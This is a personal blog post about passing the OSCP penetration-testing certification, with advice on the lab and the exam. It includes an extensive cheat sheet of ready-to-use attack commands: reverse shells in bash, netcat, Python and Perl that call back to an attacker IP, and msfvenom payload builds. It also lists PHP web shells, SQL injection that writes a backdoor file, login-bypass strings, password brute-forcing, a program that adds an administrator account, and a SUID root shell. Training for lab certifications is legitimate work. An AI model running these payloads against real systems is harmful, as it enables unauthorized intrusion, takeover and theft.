URL: <https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#privilege-escalation>

Passing OSCP

25 Feb 2018 » [all](https://scund00r.com/category/all.html), [oscp](https://scund00r.com/category/oscp.html)

Table of Contents

* [Overview](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#overview)
* [Lab](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#lab)
  + [Preparation](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#preperation)
  + [Enumeration](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#enumeration)
  + [Commands](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#commands)
  + [Interactive Shell](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#interactive-shell)
  + [File Transfers](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#file-transfers)
  + [Buffer Overflow](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#buffer-overflow)
  + [Privilege Escalation](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#privilege-escalation)
  + [Scripts](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#scripts)
* [Exam](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#exam)
* [Conclusion](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#conclusion)

Overview

Through pain, suffering, and persistence, I am proud to say that I am Offensive Security certified.  
This post will outline my experience obtaining OSCP along with some tips, commands, techniques and more.  
It had taken me 40 days to root all machines in each subnet of the lab environment and 19 hours to achieve 5/5 machines in the exam.

Lab

There is a bit of a love hate relationship with the lab however it is by far the best part of the course. The control panel will give you a drop down of machine IP addresses, from there you will need pick one and run your enumeration, no hostnames are provided.

I recommend doing the exercises, I spent the first week completing the exercises. Besides the bonus 5 points that you may need in the exam and being incredibly mundane, you will definitely learn a tonne.

Try not to use Metasploit unless you are really stuck, learning to exploit without it is invaluable. I had managed to root all machines without using Metasploit more than 2 times.

SSH Tunneling / Pivoting was daunting at first but there is an awesome tool I used called [sshuttle](https://github.com/apenwarr/sshuttle" \t "_blank) which will look after all of it and simple to use, quick tip to remember is that you can chain sshuttle commands to reach a subnet within a subnet.

Passwords in the labs are either guessable or cracked within minutes, if you are spending more than 20 minutes brute forcing or dictionary attacks then there is another way in. I used [SecLists](https://github.com/danielmiessler/SecLists" \t "_blank) almost exclusively for fuzzing or passwords.

In the beginning I had a terrible habit of over complicating things, always try simple things first for the low hanging fruit such as sudo -l.

Preparation

Get organised, keep notes! the lab machines will contain loot or will have dependencies that you will need to refer to later. I primarily used Microsoft OneNote because it saved to the cloud and allowed me to seamlessly view between work and home machines, a great alternative however is [cherrytree](https://www.giuspen.com/cherrytree/" \t "_blank).

My preparation was mostly [HackTheBox](https://www.hackthebox.eu/" \t "_blank) and [VulnHub](https://www.vulnhub.com/" \t "_blank), HackTheBox was a great platform to get you into the mindset before starting OSCP however it can be very CTF’y so bear in mind.

I have listed some VulnHub machines that I found were similar to OSCP, there was also one machine on [ExploitExercises](https://exploit-exercises.com/" \t "_blank) called nebula, the techniques used in this machine were vital and used in the labs.

If you find yourself overwhelmed and not sure where to start, watch these videos by [IppSec](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA" \t "_blank), I can’t tell you how many things I’ve learnt by watching his videos, IppSec releases walkthroughs for each retired machine on HackTheBox.

**Vulnerable Machines**

* [Kioptrix: Level 1](https://www.vulnhub.com/entry/kioptrix-level-1-1,22/)
* [Kioptrix: Level 1.1](https://www.vulnhub.com/entry/kioptrix-level-11-2,23/)
* [Kioptrix: Level 1.2](https://www.vulnhub.com/entry/kioptrix-level-12-3,24/)
* [Kioptrix: Level 1.3](https://www.vulnhub.com/entry/kioptrix-level-13-4,25/)
* [FristiLeaks: 1.3](https://www.vulnhub.com/entry/fristileaks-13,133/)
* [Stapler: 1](https://www.vulnhub.com/entry/stapler-1,150/)
* [Brainpan: 1](https://www.vulnhub.com/entry/brainpan-1,51/)
* [VulnOS: 2](https://www.vulnhub.com/entry/vulnos-2,147/)
* [SickOs: 1.2](https://www.vulnhub.com/entry/sickos-12,144/)
* [pWnOS: 2.0](https://www.vulnhub.com/entry/pwnos-20-pre-release,34/)
* [Nebula](https://exploit-exercises.com/nebula/)

**Structure**

Each subnet had a separate table containing useful information for quick reference, this will be useful in both the lab and exam where you might need to recall a name/file you’ve previously seen.

| **Hostname** | **IP** | **Exploit** | **ARP** | **Loot** | **OS** |
| --- | --- | --- | --- | --- | --- |
| Box1 | 10.10.10.10 | MS08-067 | 10.10.10.11 | capture.pcap | Windows Server 2000 |

OSCP/

├── Public

│ ├── Box1 - 10.10.10.10

│ └── Box2 - 10.10.10.11

├── IT Department

│ ├── Box1 - 10.11.11.10

│ └── Box2 - 10.11.11.11

├── Dev Department

│ ├── Box1 - 10.12.12.10

│ └── Box2 - 10.12.12.11

├── Admin Department

│ ├── Box1 - 10.13.13.10

│ └── Box2 - 10.13.13.11

├── Exercises

│ ├── 1.3.1.3

│ └── 2.2.1

└── Shortcuts

Enumeration

Enumeration is the most important thing you can do, at that inevitable stage where you find yourself hitting a wall, 90% of the time it will be because you haven’t done enough enumeration.

A quick tip about nmap, run it from a rooted box instead of going over VPN! If that box doesn’t have nmap, you can upload a standalone nmap binary such as this one: [nmap](https://github.com/ZephrFish/static-tools/blob/master/nmap/nmap" \t "_blank).

Almost every review I’ve read about OSCP tells you to script your enumeration, while that is a good idea..there is already scripts out there specifically for OSCP such as codingo’s [Reconnoitre](https://github.com/codingo/Reconnoitre). I can’t recommend codingo & Reconnoitre enough, he has built an awesome script. I had used this script initially to do quick scans of the environment then full TCP scans manually. Below are commands I found helpful while in the lab:

**Nmap**

Quick TCP Scan

nmap -sC -sV -vv -oA quick 10.10.10.10

Quick UDP Scan

nmap -sU -sV -vv -oA quick\_udp 10.10.10.10

Full TCP Scan

nmap -sC -sV -p- -vv -oA full 10.10.10.10

Port knock

for x in 7000 8000 9000; do nmap -Pn --host\_timeout 201 --max-retries 0 -p $x 10.10.10.10; done

**Web Scanning**

Gobuster quick directory busting

gobuster -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web\_Content/common.txt -t 80 -a Linux

Gobuster comprehensive directory busting

gobuster -s 200,204,301,302,307,403 -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web\_Content/big.txt -t 80 -a 'Mozilla/5.0 (X11; Linux x86\_64; rv:52.0) Gecko/20100101 Firefox/52.0'

Gobuster search with file extension

gobuster -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web\_Content/common.txt -t 80 -a Linux -x .txt,.php

Nikto web server scan

nikto -h 10.10.10.10

Wordpress scan

wpscan -u 10.10.10.10/wp/

**Port Checking**

Netcat banner grab

nc -v 10.10.10.10 port

Telnet banner grab

telnet 10.10.10.10 port

**SMB**

SMB Vulnerability Scan

nmap -p 445 -vv --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse 10.10.10.10

SMB Users & Shares Scan

nmap -p 445 -vv --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.10.10

Enum4linux

enum4linux -a 10.10.10.10

Null connect

rpcclient -U "" 10.10.10.10

Connect to SMB share

smbclient //MOUNT/share

**SNMP**

SNMP enumeration

snmp-check 10.10.10.10

Commands

This section will include commands / code I used in the lab environment that I found useful

**Python Servers**

Web Server

python -m SimpleHTTPServer 80

FTP Server

# Install pyftpdlib

pip install pyftpdlib

# Run (-w flag allows anonymous write access)

python -m pyftpdlib -p 21 -w

**Reverse Shells**

Bash shell

bash -i >& /dev/tcp/10.10.10.10/4443 0>&1

Netcat without -e flag

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f

Netcat Linux

nc -e /bin/sh 10.10.10.10 4443

Netcat Windows

nc -e cmd.exe 10.10.10.10 4443

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("10.10.10.10",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="10.10.10.10";$p=4443;socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr\_in($p,inet\_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

**Remote Desktop**

Remote Desktop for windows with share and 85% screen

rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.10.10.10

**PHP**

PHP command injection from GET Request

<?php echo system($\_GET["cmd"]);?>

#Alternative

<?php echo shell\_exec($\_GET["cmd"]);?>

**Powershell**

Non-interactive execute powershell file

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File file.ps1

**Misc**

More binaries Path

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/ucb/

Linux proof

hostname && whoami && cat proof.txt && /sbin/ifconfig

Windows proof

hostname && whoami.exe && type proof.txt && ipconfig /all

**SSH Tunneling / Pivoting**

sshuttle

sshuttle -vvr user@10.10.10.10 10.1.1.0/24

Local port forwarding

ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

Remote port forwarding

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

Dynamic port forwarding

ssh -D <local proxy port> -p <remote port> <target>

Plink local port forwarding

plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

**SQL Injection**

# sqlmap crawl

sqlmap -u http://10.10.10.10 --crawl=1

# sqlmap dump database

sqlmap -u http://10.10.10.10 --dbms=mysql --dump

# sqlmap shell

sqlmap -u http://10.10.10.10 --dbms=mysql --os-shell

Upload php command injection file

union all select 1,2,3,4,"<?php echo shell\_exec($\_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

Load file

union all select 1,2,3,4,load\_file("c:/windows/system32/drivers/etc/hosts"),6

Bypasses

' or 1=1 LIMIT 1 --

' or 1=1 LIMIT 1 -- -

' or 1=1 LIMIT 1#

'or 1#

' or 1=1 --

' or 1=1 -- -

**Brute force**

John the Ripper shadow file

$ unshadow passwd shadow > unshadow.db

$ john unshadow.db

# Hashcat SHA512 $6$ shadow file

hashcat -m 1800 -a 0 hash.txt rockyou.txt --username

#Hashcat MD5 $1$ shadow file

hashcat -m 500 -a 0 hash.txt rockyou.txt --username

# Hashcat MD5 Apache webdav file

hashcat -m 1600 -a 0 hash.txt rockyou.txt

# Hashcat SHA1

hashcat -m 100 -a 0 hash.txt rockyou.txt --force

# Hashcat Wordpress

hashcat -m 400 -a 0 --remove hash.txt rockyou.txt

RDP user with password list

ncrack -vv --user offsec -P passwords rdp://10.10.10.10

SSH user with password list

hydra -l user -P pass.txt -t 10 10.10.10.10 ssh -s 22

FTP user with password list

medusa -h 10.10.10.10 -u user -P passwords.txt -M ftp

**MSFVenom Payloads**

# PHP reverse shell

msfvenom -p php/meterpreter/reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php

# Java WAR reverse shell

msfvenom -p java/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war

# Linux bind shell

msfvenom -p linux/x86/shell\_bind\_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata\_ga\_nai

# Linux FreeBSD reverse shell

msfvenom -p bsd/x64/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f elf -o shell.elf

# Linux C reverse shell

msfvenom -p linux/x86/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata\_ga\_nai -f c

# Windows non staged reverse shell

msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata\_ga\_nai -f exe -o non\_staged.exe

# Windows Staged (Meterpreter) reverse shell

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata\_ga\_nai -f exe -o meterpreter.exe

# Windows Python reverse shell

msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f python -o shell.py

# Windows ASP reverse shell

msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f asp -e x86/shikata\_ga\_nai -o shell.asp

# Windows ASPX reverse shell

msfvenom -f aspx -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata\_ga\_nai -o shell.aspx

# Windows JavaScript reverse shell with nops

msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f js\_le -e generic/none -n 18

# Windows Powershell reverse shell

msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata\_ga\_nai -i 9 -f psh -o shell.ps1

# Windows reverse shell excluding bad characters

msfvenom -p windows/shell\_reverse\_tcp -a x86 LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata\_ga\_nai

# Windows x64 bit reverse shell

msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o shell.exe

# Windows reverse shell embedded into plink

msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata\_ga\_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell\_reverse\_msf\_encoded\_embedded.exe

Interactive Shell

Upgrading to a fully interactive TTY using Python

# Enter while in reverse shell

$ python -c 'import pty; pty.spawn("/bin/bash")'

Ctrl-Z

# In Kali

$ stty raw -echo

$ fg

# In reverse shell

$ reset

$ export SHELL=bash

$ export TERM=xterm-256color

$ stty rows <num> columns <cols>

File Transfers

**HTTP**

The most common file transfer method.

# In Kali

python -m SimpleHTTPServer 80

# In reverse shell - Linux

wget 10.10.10.10/file

# In reverse shell - Windows

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"

**FTP**

This process can be mundane, a quick tip would be to be to name the filename as ‘file’ on your kali machine so that you don’t have to re-write the script multiple names, you can then rename the file on windows.

# In Kali

python -m pyftpdlib -p 21 -w

# In reverse shell

echo open 10.10.10.10 > ftp.txt

echo USER anonymous >> ftp.txt

echo ftp >> ftp.txt

echo bin >> ftp.txt

echo GET file >> ftp.txt

echo bye >> ftp.txt

# Execute

ftp -v -n -s:ftp.txt

**TFTP**

Generic.

# In Kali

atftpd --daemon --port 69 /tftp

# In reverse shell

tftp -i 10.10.10.10 GET nc.exe

**VBS**

When FTP/TFTP fails you, this wget script in VBS was the go to on Windows machines.

# In reverse shell

echo strUrl = WScript.Arguments.Item(0) > wget.vbs

echo StrFile = WScript.Arguments.Item(1) >> wget.vbs

echo Const HTTPREQUEST\_PROXYSETTING\_DEFAULT = 0 >> wget.vbs

echo Const HTTPREQUEST\_PROXYSETTING\_PRECONFIG = 0 >> wget.vbs

echo Const HTTPREQUEST\_PROXYSETTING\_DIRECT = 1 >> wget.vbs

echo Const HTTPREQUEST\_PROXYSETTING\_PROXY = 2 >> wget.vbs

echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs

echo Err.Clear >> wget.vbs

echo Set http = Nothing >> wget.vbs

echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs

echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs

echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs

echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs

echo http.Open "GET",strURL,False >> wget.vbs

echo http.Send >> wget.vbs

echo varByteArray = http.ResponseBody >> wget.vbs

echo Set http = Nothing >> wget.vbs

echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs

echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs

echo strData = "" >> wget.vbs

echo strBuffer = "" >> wget.vbs

echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs

echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs

echo Next >> wget.vbs

echo ts.Close >> wget.vbs

# Execute

cscript wget.vbs http://10.10.10.10/file.exe file.exe

Buffer Overflow

Offensive Security did a fantastic job in explaining Buffer Overflows, It is hard at first but the more you do it the better you understand. I had re-read the buffer overflow section multiple times and ensured I knew how to do it with my eyes closed in preparation for the exam. Triple check the bad characters, don’t just look at the structure and actually step through each character one by one would be the best advice for the exam.

# Payload

payload = "\x41" \* <length> + <ret\_address> + "\x90" \* 16 + <shellcode> + "\x43" \* <remaining\_length>

# Pattern create

/usr/share/metasploit-framework/tools/exploit/pattern\_create.rb -l <length>

# Pattern offset

/usr/share/metasploit-framework/tools/exploit/pattern\_offset.rb -l <length> -q <address>

# nasm

/usr/share/metasploit-framework/tools/exploit/nasm\_shell.rb

nasm > jmp eax

# Bad characters

badchars = (

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"

"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"

"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"

"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"

"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"

"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"

"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"

"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"

"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"

"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"

"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"

"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"

"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"

"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"

"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"

"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

Privilege Escalation

There is basically two blog posts that are treated as the privilege escalation bible, [g0tmi1k’s](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) post for Linux & [fuzzysecurity’s](http://www.fuzzysecurity.com/tutorials/16.html" \t "_blank) post for Windows.

Offensive Security was able to provide a balance in the labs, there was definitely unique privilege escalate methods however there was also a lot of kernel exploits. I had developed a habit to searchsploit everything, with or without a version number, don’t just skim..actually read them and understand how they work, there was countless times I had tried an exploit which failed and moved on only to realise it was the correct exploit but needed a slight tweak.

The devil is in the details, I was definitely guilty of skimming and missing the crucial details such as read and write permissions to /etc/passwd or sticky bit.

I had used three different scripts: [LinuxPrivChecker](https://github.com/sleventyeleven/linuxprivchecker" \t "_blank), [LinEnum](https://github.com/rebootuser/LinEnum" \t "_blank), and [PowerUp](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp" \t "_blank). It is important to remember that these scripts did not always find everything and manually searching for files is also required.

Kernel exploits were a bit of a hit and miss, machines are sometimes vulnerable many different ways..I always thought using a kernel exploit was a bit like cheating, especially dirtyc0w which is never the intended way. There is 2 github posts that contain pre-compiled exploits that I found usefull, they are: [abatchy17’s Windows Exploits](https://github.com/abatchy17/WindowsExploits) & [lucyoa’s kernel exploits](https://github.com/lucyoa/kernel-exploits" \t "_blank).

**Links**

Privilege Escalation:

* [g0tmi1k Linux Priv Esc](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
* [fuzzysecurity Windows Priv Esc](http://www.fuzzysecurity.com/tutorials/16.html)
* [sploitspren Windows Priv Esc](https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
* [togie6 Windows Priv Esc Guide](https://github.com/togie6/Windows-Privesc)

Kernel Exploits:

* [abatchy17’s Windows Exploits](https://github.com/abatchy17/WindowsExploits)
* [lucyoa’s kernel exploits](https://github.com/lucyoa/kernel-exploits)

Scripts:

* [LinuxPrivChecker](https://github.com/sleventyeleven/linuxprivchecker)
* [LinEnum](https://github.com/rebootuser/LinEnum)
* [PowerUp](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp)

Scripts

**useradd.c**

Windows - Add user.

#include <stdlib.h> /\* system, NULL, EXIT\_FAILURE \*/

int main ()

{

int i;

i=system ("net user <username> <password> /add && net localgroup administrators <username> /add");

return 0;

}

# Compile

i686-w64-mingw32-gcc -o useradd.exe useradd.c

**SUID**

Set owner user ID.

int main(void){

setresuid(0, 0, 0);

system("/bin/bash");

}

# Compile

gcc suid.c -o suid

**Powershell Run as**

Run file as another user with powershell.

echo $username = '<username>' > runas.ps1

echo $securePassword = ConvertTo-SecureString "<password>" -AsPlainText -Force >> runas.ps1

echo $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword >> runas.ps1

echo Start-Process C:\Users\User\AppData\Local\Temp\backdoor.exe -Credential $credential >> runas.ps1

**Process Monitor**

Monitor processes to check for running cron jobs.

#!/bin/bash

# Loop by line

IFS=$'\n'

old\_process=$(ps -eo command)

while true; do

new\_process=$(ps -eo command)

diff <(echo "$old\_process") <(echo "$new\_process") | grep [\<\>]

sleep 1

old\_process=$new\_process

done

Exam

My exam was scheduled 9:00AM Monday morning about one week after my lab time had ended. The game plan was to scan target machines with Reconnoitre while I worked on the target machines then manually scan ports as they were found. I always had some form of enumeration scan running the background while I was working on the target machine.

I had taken screenshots of almost every step in preparation for the exam report, I also ran [Open Broadaster Software](https://obsproject.com/) to record my screen while I did my exam, this was useful in case I had missed a screenshot to which I could refer to later. I had a separate terminal window for each target machine and never closed it so that I could also refer to later while doing the exam report.

In hindsight, the exam boxes were not particularly difficult but the vulnerabilities are well hidden. Beware of the red herrings and rabbit holes, they are placed intentionally! Knowing when to move on is important, there were times where I had spent hours on a path for privilege escalation only to realise there was another method hidden in plain sight.

After sleeping for a few hours I immediately started on my report, my approach was to be heavily screenshot based and brief outlining only the steps required to exploit. Knowing who the target audience is important, the report was written such that a non-technical person was able to replicate the steps just by reading the report. The report totaled 43 pages and was completed in a few hours, it was zipped along with my lab report, uploaded and sent to Offensive Security.

**Structure**

OSCP/

├── Offensive Security Lab Penetration Test Report

│ ├── Introduction

│ ├── Objective

│ └── Scope

├── High-Level Summary

│ └── Recommendations

├── Methodologies

│ ├── Information Gathering

│ ├── Service Enumeration

│ ├── Penetration

│ ├── Maintaining Access

│ └── House Cleaning

└── Findings

├── Box1 - 10.10.10.10

├── Box2 - 10.10.10.11

├── Box3 - 10.10.10.12

├── Box4 - 10.10.10.13

└── Box5 - 10.10.10.14

Conclusion

After the grueling 28 hour wait after submitting the report, the email from Offensive Security had arrived indicating that I had successfully completed the Penetration Testing with Kali Linux certification exam and have obtained the Offensive Security Certified Professional (OSCP) certification.



Share this on →

Related Posts

* [Red Team & Physical Entry Gear](https://scund00r.com/all/gear/2019/06/25/red-team-and-physical-entry-gear.html) (Categories: [all](https://scund00r.com/category/all.html), [gear](https://scund00r.com/category/gear.html))
* [RFID Thief v2.0](https://scund00r.com/all/rfid/tutorial/2018/07/12/rfid-theif-v2.html) (Categories: [all](https://scund00r.com/category/all.html), [rfid](https://scund00r.com/category/rfid.html), [tutorial](https://scund00r.com/category/tutorial.html))
* [Proxmark 3 Cheat Sheet](https://scund00r.com/all/rfid/2018/06/05/proxmark-cheatsheet.html) (Categories: [all](https://scund00r.com/category/all.html), [rfid](https://scund00r.com/category/rfid.html))
* [Debricking Proxmark 3 using the Bus Pirate](https://scund00r.com/all/rfid/2018/05/18/debrick-proxmark.html) (Categories: [all](https://scund00r.com/category/all.html), [rfid](https://scund00r.com/category/rfid.html))